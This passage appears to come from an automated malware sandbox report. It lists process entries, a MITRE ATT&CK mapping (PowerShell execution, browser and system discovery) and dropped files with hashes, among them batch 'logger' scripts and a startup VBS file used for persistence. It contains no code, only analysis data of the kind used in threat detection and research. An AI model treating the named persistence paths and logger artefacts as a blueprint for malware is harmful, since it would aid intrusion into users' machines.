  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=1980,17216799169940506804,3865302348952935018,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5592 /prefetch:8
  2⤵
  PID:5004

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2096

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
36988ca14952e1848e81a959880ea217

SHA1
a0482ef725657760502c2d1a5abe0bb37aebaadb

SHA256
d7e96088b37cec1bde202ae8ec2d2f3c3aafc368b6ebd91b3e2985846facf2e6

SHA512
d04b2f5afec92eb3d9f9cdc148a3eddd1b615e0dfb270566a7969576f50881d1f8572bccb8b9fd7993724bdfe36fc7633a33381d43e0b96c4e9bbd53fc010173

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
fab8d8d865e33fe195732aa7dcb91c30

SHA1
2637e832f38acc70af3e511f5eba80fbd7461f2c

SHA256
1b034ffe38e534e2b7a21be7c1f207ff84a1d5f3893207d0b4bb1a509b4185ea

SHA512
39a3d43ef7e28fea2cb247a5d09576a4904a43680db8c32139f22a03d80f6ede98708a2452f3f82232b868501340f79c0b3f810f597bcaf5267c3ccfb1704b43

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000003

Filesize
64KB

MD5
d6b36c7d4b06f140f860ddc91a4c659c

SHA1
ccf16571637b8d3e4c9423688c5bd06167bfb9e9

SHA256
34013d7f3f0186a612bef84f2984e2767b32c9e1940df54b01d5bd6789f59e92

SHA512
2a9dd9352298ec7d1b439033b57ee9a390c373eeb8502f7f36d6826e6dd3e447b8ffd4be4f275d51481ef9a6ac2c2d97ef98f3f9d36a5a971275bf6cee48e487

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000004

Filesize
70KB

MD5
3b06aa689e8bf1aed00d923a55cfdd49

SHA1
ca186701396ba24d747438e6de95397ed5014361

SHA256
cd1569510154d7fa83732ccf69e41e833421f4e5ec7f70a5353ad07940ec445c

SHA512
0422b94ec68439a172281605264dede7b987804b3acfdeeb86ca7b12249e0bd90e8e625f9549a9635165034b089d59861260bedf7676f9fa68c5b332123035ed

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
b03866b909d9327ae91f879672d272f6

SHA1
8c59f4fbaed4cc3f90cad25f0eb1be86a70ff2d9

SHA256
832d4ba56984cff8929769f4c3714ad4b4eaafa2f41068366a79ea1007f30f97

SHA512
d0ccd88779b4a3c22bcfef46e5c74c9c54db78afc1d20d906d8cd7524fc31cd4560b7dbcd93040f9e0fa0b6c6aa662c42afcbbd4c5b992b88cca782e514c1728

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
82309835685f350011c7dd3b672af3ea

SHA1
6c546b5cbe1938b3f58867c7cd0d1d099fb2b433

SHA256
8c8f93d75b6182b69aaff8785594589986bd319d61f6551e39b1c47fd347e122

SHA512
e49792d546bcf59e4287af09d2e23b2b9327216a20740f180950980761b0ffbaa306d67130e2f57209cf764371162f2cc86b10a01dc8eb05cb208fec9a16e3a4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
94091f879c2adb78126f13a82dfcd01b

SHA1
4e094175e5e787c96306e0bca3b33b09afcd7232

SHA256
bb352d30c8df366329e07bd920588d0b64bca7824137e6e87b062913e9f01aaf

SHA512
f8b76e243deeb070512d31a8c45772e482cb8e0feb93654c9892eeae03951280de0b43434089c711a86126742781487a10085cbf5f9fac1c47c57dde764123ff

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
dbbf71e9fb59f80938f09809b160e441

SHA1
8b9a517d846cb9a0a284f77ed88328236a85055f

SHA256
e1de59d46c7c47af2d62f7754524b080a706be6b38d55a03733a10c3675598b1

SHA512
90b75d43ddb81c710fb8fe2fd15b5c05181c774d3f401e47862006adb1703bc65ad8fead4aaf7a28b8e2bbe7249f3de998bd9432c1e62fa8718a19dacc4b8840

Download Submit
C:\Users\Admin\AppData\Local\Temp\HybridLoggerFixed.bat

Filesize
12KB

MD5
89a22d3791ca38666c8144725a74497d

SHA1
96b672089a3c783e4dd27e8da7c0cc1245d55cfd

SHA256
9326ad90526504bfbc876646087bf41a82128fd5d995f624b13ea7ef3e154b94

SHA512
6b73d4fde3a673be8ea4aa169382b8aed1577817193545666a18cc83e918a642adf464090f2c1938b0f75f322e8e18e5304bf15c8eda71b4c072aaea5c294b2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.bat

Filesize
910KB

MD5
72ecd938d114e246eeebc8ae430fc2e9

SHA1
9ece59be22ceadcb3951093483cc69a76658801d

SHA256
4eafc8d12d2e402d7de955ffa3940c070d40dea9f2eda1260962518204304f65

SHA512
d2839e5226f9753f5098072b5cb7ab0f30318f3255355ae69fc75efc0ecfced89eb74788716b01a511e2461fa1c21052a336c1873aa82ef411cb710c4f14059e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gup0p1vt.y3c.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\users.txt

Filesize
12B

MD5
e4d8e6c7a373e187a7f6d849cfc12ce6

SHA1
9e842363bd857128ca89fb150133197243e3ecb6

SHA256
b41cfb64e842114edef3951f4e65e92109f0e112be519b001fe92afef319a049

SHA512
00d8f1485e9dafa1ed33a61e9f2c3178683e2648bbb103a46d0514bc9c25123fbe1ce2f3ed2626e0590d07277114ca6ad64a3fc3ce942f819d2ac881de49bdd8

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_661.vbs

Filesize
115B

MD5
e69ade7b74507cc1190cd507818038b6

SHA1
51d9aa84d28be188997966dbfd47eccb7c34f186

SHA256
1a5273c77b08d8753cdeac97f9ebebd3775607e107a3dcb9dcac02b9351f7f01

SHA512
6550bd4bc045a1c188bc395cc2450d44f99bc222eee03e57e581593277a061456d17371e8c01d4183c80e6dadfc64fe27c0fce3cc1cc8d33f36ea1de8f0a015a

Download Submit
memory/1432-0-0x00007FF989863000-0x00007FF989865000-memory.dmp

Filesize
8KB

Download
memory/1432-1-0x0000000000200000-0x00000000002F0000-memory.dmp

Filesize
960KB

Download
memory/3980-22-0x000001D175170000-0x000001D1751A8000-memory.dmp

Filesize
224KB

Download
memory/3980-21-0x000001D175140000-0x000001D175148000-memory.dmp

Filesize
32KB

Download
memory/3980-16-0x000001D174EF0000-0x000001D174F12000-memory.dmp

Filesize
136KB

Download
memory/5020-53-0x000001FBFDE10000-0x000001FBFDE26000-memory.dmp

Filesize
88KB

Download